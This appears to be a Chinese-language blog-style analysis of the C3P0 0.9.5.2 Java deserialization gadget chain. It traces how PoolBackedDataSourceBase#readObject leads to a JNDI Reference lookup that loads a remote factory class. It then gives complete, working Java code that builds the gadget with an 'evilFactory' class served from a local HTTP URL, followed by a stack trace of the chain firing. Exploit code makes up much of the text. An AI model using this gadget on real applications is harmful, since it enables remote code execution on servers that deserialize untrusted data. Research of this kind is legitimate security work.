com.mchange:c3p0:0.9.5.2
com.mchange:mchange-commons-java:0.2.11
C3P0是一个开放源代码的JDBC连接池,在PoolBackedDataSourceBase#readObject()
方法中会调用ObjectInputStream中的Object#getObject()
方法,其中要求该object需要是IndirectlySerialized
类的子类.
而在ReferenceIndirector
类中有一个静态内部类ReferenceSerialized
正好继承了IndirectlySerialized
,并且其getObject()
方法中存在JNDI注入.
其中可以看到如果contextName
不为空,則会lookup()
,然后最后返回的是调用ReferenceableUtils.referenceToObject()
.
而ReferenceableUtils.referenceToObject()
明显是一个根据引用来远程加载工厂类再进行构造指定对象的方法,也就是JNDI注入利用reference来RCE的方式.
再来看看PoolBackedDataSourceBase
类的序列化writeObject
流程.
如果connectionPoolDataSource
属性不能被序列化时,那么会对connectionPoolDataSource
属性
调用一次Indirector#indirectForm()
方法.
这其中返回的其实就是根据connectionPoolDataSource
对象的getReference
方法返回的引用构造了内部私有的ReferenceSerialized
类对象.
* com.mchange.v2.naming.ReferenceableUtils->referenceToObject
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
核心思路則是将PoolBackedDataSourceBase
的connectionPoolDataSource
属性设置为一个继承于ConnectionPoolDataSource
类的子类对象.
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static Object getGadget() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, NoSuchFieldException {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource("evilFactory", "http://127.0.0.1:8089/"));
return obj;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("evilFactory", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
referenceToObject:93, ReferenceableUtils (com.mchange.v2.naming)
getObject:118, ReferenceIndirector$ReferenceSerialized (com.mchange.v2.naming)
readObject:211, PoolBackedDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1184, ObjectStreamClass (java.io)
readSerialData:2296, ObjectInputStream (java.io)
readOrdinaryObject:2187, ObjectInputStream (java.io)
readObject0:1667, ObjectInputStream (java.io)
readObject:503, ObjectInputStream (java.io)
readObject:461, ObjectInputStream (java.io)
main:12, Gadget